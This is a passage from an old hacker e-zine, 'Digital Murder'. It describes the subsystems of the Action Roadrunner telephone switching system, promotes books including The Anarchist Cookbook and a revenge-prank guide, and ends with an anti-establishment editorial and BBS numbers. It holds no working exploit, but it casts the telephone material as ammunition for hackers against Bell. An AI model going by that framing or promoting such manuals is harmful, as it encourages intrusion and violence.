  888.           This  series  of  artices  to  follow  has  taken  much time
  889.           and extensive coverage.   I  see  these  articles  as  truly
  890.           original material, as I went through personal connections to
  891.           get the information contained here.
  892.           
  893.          The following information was taken  from  various  technical
  894.          sources and other misc. information from a rural area here in
  895.          my state. I live in Memphis, which  is  under  ESS,  however,
  896.          where I was at, they were under some other older system.
  897.  
  898.          The  Action  Roadrunner  Telephone  Management  System  is  a
  899.          computer controlled routing,  tandem  switching  system.   As
  900.          such, the system functions in support of an existing PBX type
  901.          system and may be configured for network  operations  between
  902.          properly equipped locations.  Through these  of  the  network
  903.          capabilities,  a  business can impliment a private network to
  904.          reduce overall call costs and record  network/system  traffic
  905.          statistics.  Network operations are provided by extending the
  906.          local serial bus of the Master node to control the  operation
  907.          of  satellite  nodes and collect call record data from Remote
  908.          intelligent nodes.  Unintelligent (noncomputerized) satellite
  909.          nodes  are  controlled exclusively by the intelligent node to
  910.          which they are connected by data link  and  tie  lines.   The
  911.          Intelligent  Remote  nodes  direct  their own call processing
  912.          functions and those of their associated Satellite nodes.   In
  913.          this  configuration,  the Master node serves as a centralized
  914.          record  collection   point   while  providing  a  centralized
  915.          database update point.
  916.  
  917.          The  support  equipment  expalined  serves  to   expand   the
  918.          interfacing  capabilities  of  the  system  by  accommodating
  919.          ground  start-type  trunk  circuits  and  collected  key-type
  920.          systems.  Other equipment, when optionally  selected  by  the
  921.          CO,  is  designed  to provide remote access from rotary tele-
  922.          phone by the Voice Terminal Device.
  923.  
  924.  
  925.  
  926.  
  927.  
  928.  
  929.  
  930.                                                                          15
  931.       
  932.        
  933.          VCA Subsystem
  934.          -------------
  935.          
  936.          A Pulsecom Voice Connecting Arrangement  (VCA)  subsystem  is
  937.          used  instead  of Telco-supplied CDH-type VCAs.  Each circuit
  938.          card interfaces one system port to one  Telco  trunk  circuit
  939.          (DDD,  WATS, or FX).  These cards are housed in 10 card cages
  940.          which  are  assembled  into  a  wall  mounted  rack  assembly
  941.          containing  eight  card  cages  for  a  total of 72 VCAs on a
  942.          freestanding rack assembly containing 16  card  cages  for  a
  943.          total of 144 VCAs.
  944.  
  945.          Amplifier Subsystem
  946.          -------------------
  947.          
  948.          Trunk  amplification  is  used  to adjust and stabilize trunk
  949.          levels appearing at the  system  while  being  OFF  when  the
  950.          circuit  is  not  in  use.   The single-channel circuit cards
  951.          (repeaters) housed in 11-slot card cages are assembled into a
  952.          wall  mounted  rack assembly which can contain up to six card
  953.          cages for a total of  66  amplifiers  per  rack.   Each  rack
  954.          requires  a  dedicated  120  Vac  15 amp circuit to power the
  955.          -48 Vdc power supply which supplies the required power to the
  956.          card cages.  Two amplifier circuit card types  are  available
  957.          for  voice only or voice/data circuits.  A voice-only circuit
  958.          uses the UM-100 Amplifier Card and a voice/data circuit  uses
  959.          a  VFR-1050  Amplifier  card.  Both card types share the same
  960.          card cage.  One 25-pair cable is used per  card  cage.   Each
  961.          circuit  consists  of two-cable pairs for a total of 22 pairs
  962.          within each cable.  The first cable pair is connected to each
  963.          of  the  Telco  side of the demark and the second pair to the
  964.          ACTION side.
  965.          
  966.          The UM-100 Amplifier Card is equipped with a UM-3502  Plug-on
  967.          Option  card  which  is  used to program the amplifiers oper-
  968.          ation.  Two adjustment options are also  available  with  the
  969.          3502  card.   The  VFR-1050  Amplifier  card is supplied with
  970.          progammable options as well.  This card  is  used  when  data
  971.          transmissions are anticipated on the connected trunk circuit.
  972.  
  973.          The  VFR-1050   Amplifier   Card  options  given  consist  of
  974.          amplifier   gain    adjustment,    equilization   adjustment,
  975.          sensitivity slope adjustment, and a  disable  on/off  switch.
  976.          
  977.          Keyset Adapter Subsystem
  978.          ------------------------
  979.  
  980.           The Keyset Adapter subsystem is employed to permit telephone
  981.           circuits that are not associated with a PBX type  system  to
  982.           be  interfaced  to  the  system.  Key systems  or  dedicated
  983.           single-line  instruments  may  access  the  system  by  this
  984.           subsystem.  The Keyset Adapter Subsystem may  be  configured
  985.           in  a  free  standing  rack (128 circuits max.) or on a wall
  986.           mounted unit (48 circuits max.)  The two circuit cards  that
  987.      
  988.       
  989.       
  990.       
  991.       
  992.       
  993.       
  994.       
  995.       
  996.                                                                          16
  997.       
  998.       
  999.           make  up  the  Keyset  Adapter  Circuit  are the E&M-to-Loop
  1000.           Converter Card and the Dual Line Coil Card.  The  Dual  Line
  1001.           Coil Card accommodates two E&M-to-Loop cards.  The cards are
  1002.           clustered in groups of three with the Dual Line Coil Card in
  1003.           the center to provide two circuits.  Three clusters of three
  1004.           cards each supply six circuits per card  cage  in  the  wall
  1005.           mount  unit  and  four  clusters yielding eight circuits per
  1006.           card cage in the free standing rack.
  1007.  
  1008.          Voice Terminal Device
  1009.          ---------------------
  1010.          
  1011.          The Voice Terminal Device (VTD) is a  word  recognition  sub-
  1012.          system configured into a single cabinet.  The VTD is composed
  1013.          of a cental processor, a vector processor, memories, and  I/O
  1014.          devices  for  eight  system ports.  The System port cards are
  1015.          configured for 2-wire operation with 0db pads  and  serve  as
  1016.          the bidirectional VTD interface.
  1017.  
  1018.          The  System  port  cards  used  for  the  VTD  are located in
  1019.          consecutive card cage slots within a single card  cage.   The
  1020.          first  card is a Voice Terminal Serial Interface Card and the
  1021.          next seven  cards  are  Audio  Interface  Cards.   The  Voice
  1022.          Terminal  Serial  Interface card accepts the binary output of
  1023.          the VTD for the  eight  serial  ports.  Theu|Y| decoded output of
  1024.          each of the right ports is sent to the Voice Terminal  Serial
  1025.          Interface card in the first port.
  1026.          ----------------------------------
  1027.  
  1028.          Hope  that  was  at least a little bit interesting.  That was
  1029.          nowhere near the complexity of explainng ESS.   However,  the
  1030.          little  trip to the past could prove useful because many sys-
  1031.          tems such as these are still in  use.   I  will  have  future
  1032.          articles on the Action  system  but  for  now  I  can't  type
  1033.          anymore...  Hehehe..
  1034.  
  1035.          Later  all and don't forget; Bell holds the ultimate in info-
  1036.          rmation and power from us but they will not be able  to  hold
  1037.          back  the flood of hackers breaking away at their wall.  Long
  1038.          live the cause.
  1039.  
  1040.                        -/-\-/-\-/-\-/-\-/-\-/-\-/-\- 
  1041.                         H e a v e n ' s   T r a s h
  1042.                        -\-/-\-/-\-/-\-/-\-/-\-/-\-/-
  1043.  
  1044.     Strip away the blanket of secrecy!  Here's a few books I've
  1045.     found that I encourage you to order and READ.
  1046.  
  1047.     The Brotherhood by Stephen Knight--
  1048.     Take a look behind-the-scenes at the inner workings
  1049.     of the Masons, a tightly knit, all male society whose
  1050.     members hold some of the highest posts in business and
  1051.     government. . .and who are bound by an iron-clad oath
  1052.     of secrecy.  --$8.95
  1053.  
  1054.  
  1055.  
  1056.  
  1057.  
  1058.  
  1059.  
  1060.  
  1061.  
  1062.  
  1063.                                                                          17
  1064.  
  1065.     Big Secrets by WIlliam Poundstone--
  1066.     this book blows the lid off some of the world's best
  1067.     kept secrets.  You'll learn how to beat a lie-detector
  1068.     test, get the low down on secret messages and subliminal
  1069.     advertising, and how U.S. currency is made.  --$8.95
  1070.  
  1071.     Make My Day by George Hayduke--
  1072.     Don't get mad, get even!  Make My Day covers every type
  1073.     of revenge from simple pranks to complex plots.  You'll
  1074.     learn hundreds of devious, diabolical ideas for getting
  1075.     even.  --$7.95
  1076.  
  1077.     Those books can by ordered by calling 1-800-282-8086.
  1078.  
  1079.  
  1080.     ------------------------------------
  1081.     The Anarchist Cookbook-----$21.95
  1082.     The Poor Man's James Bond--$21.95
  1083.     Shipping/Handling-----------$4.00
  1084.     (602)/634-6280
  1085.     Those can be purchased at named prices from:
  1086.     BUTOKUKAI
  1087.     P.O. Box 430 Dept. SG
  1088.     Cornville, AZ  86325
  1089.     ------------------------------------
  1090.  
  1091.     You can get the Anarchist Cookbook a little cheaper by ordering
  1092.     it from the publishers ($22.00 postpaid).
  1093.     Barricade Books
  1094.     Box 1401-F
  1095.     Secaucus, NJ  07096
  1096.     -----------------------------------
  1097.  
  1098.     If you are into punk, alternative, ''new-wave'', or whatever
  1099.     you wanna call it or are interested in reading some good
  1100.     'zines with topics ranging from political corruption, anti-
  1101.     government action, and environmental news then check these
  1102.     phucking cool mags.  Write 'em for price info if not listed.
  1103.  
  1104.     Flipside  (punk rock/noise/industrial/etc..music)
  1105.     P.O. Box 363
  1106.     Whittier, CA  90608
  1107.  
  1108.     Little Free Press  (government views/utopian societys/etc)
  1109.     Rt. 1  Box 102
  1110.     Cushing, MN  56443
  1111.  
  1112.     Maximum Rock & Roll (punk/hardcore/etc..music)
  1113.     P.O. Box 288
  1114.     Berkeley, CA  94701
  1115.  
  1116.     File 13  ($2.00 per issue last time i checked)
  1117.     P.O. Box 175
  1118.     Concord, MA  01742
  1119.     ----------------------------------------------------------
  1120.     ----------------------------------------------------------
  1121.  
  1122.  
  1123.  
  1124.  
  1125.  
  1126.  
  1127.  
  1128.  
  1129.                                                                          18
  1130.  
  1131.  
  1132.     Maybe some of these will keep your brain clear but not washed
  1133.     like most in this country.  You know the ones. . . those that
  1134.     are insecure about their future.  Those are the people we all
  1135.     remember back in High School;  the guys and  girls  who  were
  1136.     alwayz pushing themselves into  the  system-  alwayz  pushing
  1137.     themselves into the clubs and cliques- pushing  their  future
  1138.     through a sieve, draining out all their unique qualities till
  1139.     all that's left is another person totally conditioned to be a
  1140.     corporate slave.  Think about this.  Think about and question
  1141.     everything.
  1142.  
  1143.     Thanks for reading and supporting Digital Murder.   Issue  #3
  1144.     will be out December 15th.  FEEL FREE to help out!  Don't let
  1145.     those fascist shits on Capital Hill fool  you  into  thinking
  1146.     that you can't still voice your opinion or share information!
  1147.     Call The Backdoor, leave me, Morpheus, feedback.  Send in  an
  1148.     article or just drop in and say what's on your mind.
  1149.  
  1150.     The 'zine should be better now that it'z getting more support
  1151.     as well as the fact that I've moved to the most  boring  city
  1152.     in the whole phucking world.  The most ''exciting'' thing  to
  1153.     do around here is this building that is the home of  a  movie
  1154.     theater that shows old movies, a  skating  rink  and  bowling
  1155.     alley for pre-teen preppies, and an arcade featuring billybob
  1156.     and his cousins playing pool for car titles while I waste  my
  1157.     money on one of the seven video  games  in  the  city's  only
  1158.     arcade.  At least the old city I lived in isn't too far  away
  1159.     from here.  So while you  are  walking  around  breathing  in
  1160.     America's cold, toxic, city air or feasting on the carcass of
  1161.     a dead turkey for thanksgiving, think of your editor  slaving
  1162.     over the keys to bring forth another edition of the  one  and
  1163.     only Digital Murder.
  1164.  
  1165.     Contributors:  Morpheus, Technysis, Chizz, Zapped, NeuronGod,
  1166.     Mystic Blade, and Digital Terrorist.
  1167.  
  1168.     Support Boards:  Backdoor (901)/386.6455
  1169.  
  1170.     Wanna be a support board?  Leave Morpheus feedback on Backdoor.
  1171.     
  1172.  
  1173. \n
  1174.  
  1175. UD#9: Digital Murder U/D
  1176. [X-Modem/UnltdBlk] UD:
  1177. Downloaded From P-80 International Information Systems 304-744-2253
  1178.